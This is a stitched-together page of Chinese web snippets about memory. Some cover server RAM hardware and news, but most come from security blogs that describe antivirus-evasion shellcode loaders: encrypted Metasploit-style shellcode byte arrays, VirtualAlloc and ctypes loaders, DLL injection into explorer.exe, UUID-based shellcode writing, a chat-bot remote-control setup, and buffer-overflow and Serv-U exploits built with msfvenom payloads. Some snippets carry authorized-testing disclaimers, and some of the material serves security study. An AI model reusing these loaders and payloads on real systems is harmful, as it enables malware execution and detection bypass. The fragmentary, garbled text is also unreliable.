CPU 访问数据时都先经过寄存器再到内存颗粒。减少了 CPU 到内存颗粒的距离,使得频率可以提高。...从它的名称中我们可以看出,ECC 不但能发现内存中的错误,而且还可以进行纠正。 在实现上,ECC 内存会板上额外再添加一个内存颗粒来专门负责检查错误并纠正错误。...首先就是服务器的 CPU 对内存通道数的支持。普通家用 CPU 一般只有双通道,最多也是四通道。...而本文中提到的 Skylake 是 2015 年的服务器 CPU,就已经支持了多达 6 个内存通道,最多可以支持 12 个内存条。...compare.png 另外就是服务器几乎全系都支持 ECC 内存。而家用 CPU 只有最近几年才开始支持 ECC。 我们再回到开篇提到的三个问题。 问题1:其中的 6 channle 是什么意思?
M6p实例配置持久内存,只有限支持部分Linux镜像,不支持Windows镜像,腾讯云和阿里云都是如此https://cloud.tencent.com/document/product/213/63360...微软官网写的:从 Windows Server 2016 和 Windows 10(版本 1607)开始,本机驱动程序支持持久性内存设备。...2个命令,在≤server2016的系统上没有这2个命令,即便高版本系统有这2个命令,执行后结果为空2、server2016/2019/2022都没有ipmctl命令总结下就是腾讯云M6p实例配置持久内存并不支持...图片阿里云也是不支持Windows系统配置持久内存,阿里云的文档就很清晰图片
5月2日消息,Rambus公司最近发布了全新的DDR5 RDIMM服务器内存专用PMIC电源管理芯片系列,为数据中心提供了强大的性能支持。...这一系列PMIC产品不仅为内存模块制造商提供了完整的DDR5 RDIMM内存接口芯片组,还满足了广泛的数据中心用例需求。...在当今这个数据爆炸的时代,生成式AI等高级数据中心工作负载对服务器的带宽和容量要求日益增加。 为了满足这些不断增长的数据管道需求,Rambus的这款新一代服务器PMIC系列产品应运而生。...通过利用最新的芯片技术,Rambus成功扩展了其产品组合,为客户提供了支持多代DDR5服务器平台的综合内存接口芯片组。 PMIC作为DDR5内存架构中的关键组件,其性能优劣直接影响到服务器的整体性能。...这三款PMIC产品均提供业界领先的性能,为AI和其他高级工作负载所需的最高性能和容量内存模块提供了强有力的支持。
8月1日,服务器芯片大厂Ampere 宣布将推出全新的 512 核 AmpereOne Aurora 处理器。这款新芯片具有定制的 Arm 内核和定制的网状网络和芯粒到芯粒互连。...它还支持 HBM 内存和 Ampere 的下一代 AI 加速模块,但该公司尚未公布具体的发布时间。...此外,还有定制的AmpereAI IP提供专用的AI加速,并且其对高带宽内存(HBM)的支持,将有助于为新引擎提供足够的内存带宽。该芯片也适用于标准的通用工作负载。...这些芯片在台积电 5nm 工艺节点上制造,支持 12 个通道的 DDR5 内存和最高 192 个内核。
SAS硬盘支持好:完美支持SAS盘,还有带缓存高速阵列卡,Raid种类支持多。 散热设计好:暴力扇吵,可是在机房里面这就是优点了,多高温度都hold得住。...X58和X79都相继被仿造,800的全新主板!还能上RECC内存!岂不美滋滋! ? 然而真的有这等好事? 先不说迷之设计的前置USB3.0、挡显卡的Sata接口。光是用料,就有3个月必BOOM之称。...2U机架式双路服务器;支持55、56家族CPU;最大144G DDR3内存(G7是192G),支持RECC;8个2.5寸 SAS/SATA(G7支持SSD)热插拔盘位;集成P410i阵列卡,带256缓存...现在1366主板已经完全铺货,大概集中在350-650元之间,都支持55、56家族、RECC,对比起服务器准系统,单主板往往有更多的PCIE接口,方便上显卡、声卡。...双路服务器主板,c602芯片组,支持支持E5 16、26家族,V1、V2版本;支持最大8条(4*2)RECC内存。 ATX尺寸,原则上选择机箱容易,但是还是建议尽量不要小机箱硬上,容易磕着。
✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...目前市面上的绝大多数杀软基于判断一个exe是否为木马,无非就是敏感函数或是调用敏感的api、特征库匹配、hash值、监控内存之类的 ,所以静态的还是比较好过的,稍微处理一下自己的shellcode基本上是都可以过的...异或加密说实话已经烂大街的,基本上你用任何杀毒都查杀 ,当然这里是指单纯的异或加密shellcode。 2....\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...InterlockedXor8(buf + i, 10); } 到此整个代码就算完成了 ,注意这里我的vs编译是 x64 release的 3.2 效果展示 未加壳的情况下Windows defender是动静都过了
NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。...这个靶机因为没有web端口,所以目录扫描就省去了,不然在实战中,目录扫描是很关键的一步,通常都需要通过目录扫描来提供漏洞挖掘思路。...四、提权 连上ssh后,一上来肯定是要sudo的都试试; ? 在sudo -l中已经发现了线索,看下ss.sh; ?...尝试http下载但没有成功,以后遇到bash反弹的就架个服务器,遇到ssh的还是用sftp更方便点; ? 我这里用得是MobaXterm;运行下程序看看; ?...那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过 3、NX:NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行
功能介绍 1、实现了针对内存扫描绕过的Module Stomping技术; 2、通过刷新ntdll副本解DLL钩子; 3、IAT隐藏和混淆&API解钩子; 4、实现了用于用于绕过某些安全控制的...包含沙盒规避技术和基本反调试; 6、通过XOR实现完全代码混淆(函数-键-Shellcode); 7、Shellcode混淆、反混淆和加密; 8、在不使用API的情况下将Payload移动到内存中...; 9、在不创建新线程的情况下运行,支持x64和x86架构; 工具下载 广大研究人员可以使用下列命令将该项目源码克隆至本地: git clone https://github.com/0xHossam...x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\
如上图就是运行后的FTP服务器,通过nc工具链接服务端的地址nc 192.168.1.8 9999 可以得到一个FTP交互环境,此时可以执行send | hello world命令,来向服务器发送一段字符串...,同时服务器会返回给你Data received successfully这样的提示信息,好了我们开始分析程序并挖掘漏洞吧。...此时我们需要寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp作为跳板指针,其基本思路是,使用内存中任意一个jmp esp地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp...构建利用代码并测试: 既然所有条件都满足了接下来就是生成漏洞利用代码了,这里我们可以通过MSF提供的msfvenom命令快速的生成一个有效载荷,并将其与我们得到的内存地址进行组装。...\x2b" buf += b"\xc9\xb1\x56\x83\xe8\xfc\x31\x58\x0f\x03\x58\xb1\x43" buf += b"\xbb\xc7\x25\x01\x44\x38
首先要做的是查看 Serv-U.exe 或任何捆绑的 DLL 是否在没有 ASLR 支持的情况下编译。...读取内存地址处的值rax并将其存储在rax寄存器中。 例如,如果rax=0x123456789上面的指令读取内存地址的 8 个字节0x123456789并将该值存储在rax寄存器中。...第一步是在 Serv-U 的.data段中找到一个可写的内存地址,我可以在其中写入一个字符串。我使用 Hopper 在数据段中查找没有与任何代码交叉引用的部分;假设是内存区域确实未被使用。...这使得用户/攻击者可以轻松地在运行时使用任意 shellcode stagers / Sliver 实例 / Metasploit 实例,而不必每次都生成新的 shellcode。...事实证明这很容易,因为堆栈帧包含返回地址Serv-U.dll,正如我们之前看到的那样,它不支持 ASLR。 结果,我可以简单地查看在调用点获取的堆栈跟踪call r9并记下那里的地址。
加密库 做免杀时或自己开发c2时,加密话题是永远离不开的,无论是代码加密,流量加密,或者是内存加密,都是十分重要的,且必须的环节,windows 中也有许多和加密有关的库,但是比较常用的和加密效果比较好的...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\...; i < shellcodeSize - 1; i++) { printf("\\x%02x", shellcode[i]); } printf("\n"); } 这种可以用来,加密内存...\n"); } 现在的杀软来说,加密字符串是远远不够了,熟悉pe文件结构的都知道,我们程序用到的函数,API地址基本上都会在地址表 (IAT)中,杀软也知道,所以都会去读取二进制文件的IAT并检查是否存在导入...确保项目平台设置为 x64,目前不支持 32 位项目。
本次作业是使用钉钉机器人来实现远控服务器!...1、登录钉钉开放平台 可以先创建一个企业 选择应用开发,企业内部开发,添加一个机器人 记录生成的密钥 配置好开发管理,服务器出口IP添加VPS的地址,消息接收地址为一个可以接收数据的url,该url...验证不通过') print('有get请求') if __name__ == '__main__': app.run(host='0.0.0.0', port=9000) 3、在开发管理的服务器上启动服务...,并支持重叠的源内存块和目标内存块 C++语法 VOID RtlMoveMemory( _Out_ VOID UNALIGNED *Destination, // 指向要复制字节的目标内存块的指针...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59
✎ 阅读须知 乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存...VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存
加载恶意DLL 打开explorer.Exe句柄 分配 **读写可执行文件 **DLL的内存 从kernel32.dll获取LoadLibaryA函数地址 在explorer.Exe进程下创建远程线程。...hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; 分配内存...\x48\x01" "\xd0\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83" "\xec\x20\x41\x52\xff\xe0\x58\x41...\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83" //"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48...同时我把DLL里面的加密密钥换了一下,不得不说 Windows Defender会把文件特征码和服务器做识别(或者是传到服务器)查杀的效率越来越高,让人防不胜防。
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。...复现其他师傅的免杀 2.1 c++部分 其实他这部分代码的逻辑就是一个利用自己的密钥进行解密,解密之后再申请内存,执行shellcode,在这里先将别人的代码下载下来,在本地跑一下: 先把项目下载,然后把...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...当然,在这个免杀中,均属于静态免杀,有些属于乱杀,就像碰到易语言一样,大家都杀!
近期国外的Tweet上面的Check Point Research发布了一篇有趣的推文: 这篇推文大概讲的是通过分析了一个恶意样本,找到一种非常有趣的向内存写入shellcode方式。...rift-analysing-a-lazarus-shellcode-execution-method/ 值得注意的是: 在自定义代码中,攻击者使用了windows api 遍历了大量硬编码 UUID 值列表,并且每次都提供指向分配内存...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...0, 0);//获得可执行的句柄 void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间 if (ha == NULL) { cout 内存申请失败...哈哈哈哈哈哈哈哈哈 学习总结 这里虽然还是给杀了,那是因为这种uuid还是存在一定的特征,还是会被杀,但是这里讲究的是一个思路,可以用其他windows api 来向内存中写入shellcode,加载shellcode
但是内网中一般部署有防火墙、流量监控等设备,杀软更是成为了服务器的标配,所以如何进行免杀绕过杀软的限制让主机上线成了我们首要解决的问题之一。...目前免杀技术大致分为以下几类: 特征码修改 花指令免杀 加壳免杀 内存免杀 二次编译 分离免杀 资源修改 ......\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\...ret_decode = base64.b64decode(ret) pickle.loads(ret_decode) 但是eval()在执行多行的时候会有缩进问题,如果使用这种方式我们需要将加载器的代码每一行都单独执行...打包成可执行程序 上文我们构建了我们的Python文件,但是利用起来需要目标环境支持Python以及相应的库文件支持,因此我们可以将我们的Python脚本打包成可执行程序来解决这些环境问题,打包方法有很多
y 点击蓝字关注我哦 近期国外的Tweet上面的Check Point Research发布了一篇有趣的推文: 这篇推文大概讲的是通过分析了一个恶意样本,找到一种非常有趣的向内存写入shellcode...rift-analysing-a-lazarus-shellcode-execution-method/ 值得注意的是: 在自定义代码中,攻击者使用了windows api 遍历了大量硬编码 UUID 值列表,并且每次都提供指向分配内存...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\...0, 0);//获得可执行的句柄 void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间 if (ha == NULL) { cout 内存申请失败...哈哈哈哈哈哈哈哈哈 学习总结 这里虽然还是给杀了,那是因为这种uuid还是存在一定的特征,还是会被杀,但是这里讲究的是一个思路,可以用其他windows api 来向内存中写入shellcode,加载shellcode
内存注入ShellCode的优势就在于被发现的概率极低,甚至可以被忽略,这是因为ShellCode被注入到进程内存中时,其并没有与之对应的硬盘文件,从而难以在磁盘中取证,但也存在一个弊端由于内存是易失性存储器...,所以系统必须一直开机,不能关闭,该攻击手法可以应用于服务器上面,安全风险最小,注入后将注入器删除即可。...\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\xce\x25\x3d\xaf\x16\x16\x69\x6f\x48\x31\x58...\xe2\x3d\xae\x6d\xb6\xfd\x0e\x5e\xe2\x3d\xee\x6d\xb6\xdd" "\x46\x5e\x66\xd8\x84\x6f\x70\x9e\xdf\x5e\x58...x96\xba" "\x4b\xe5\x49\xa5\x5f\xe9\xa7\x1a\x2b\xcd\xae\xaf\x16\x16\x21" "\xec\x22\x35\x75\x26\xf4\x5b\x58
// #include "stdafx.h" #pragma comment(linker, "/section:.data,RWE")//对于内存的保护属性 可读可写可执行 #pragma comment...\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78" "\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58...\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" "\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b...\x61\x59" "\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d" "\x68\x33\x32\x00\x00\x68\x77...大家注意到没有,由于shellcode是要支持直接在内存中运行的代码,所以上面的代码中调用函数的过程全部都是通过hash的方式去调用的函数,那么除了hash调用的方法之外还有没有其他的呢?
领取专属 10元无门槛券
手把手带您无忧上云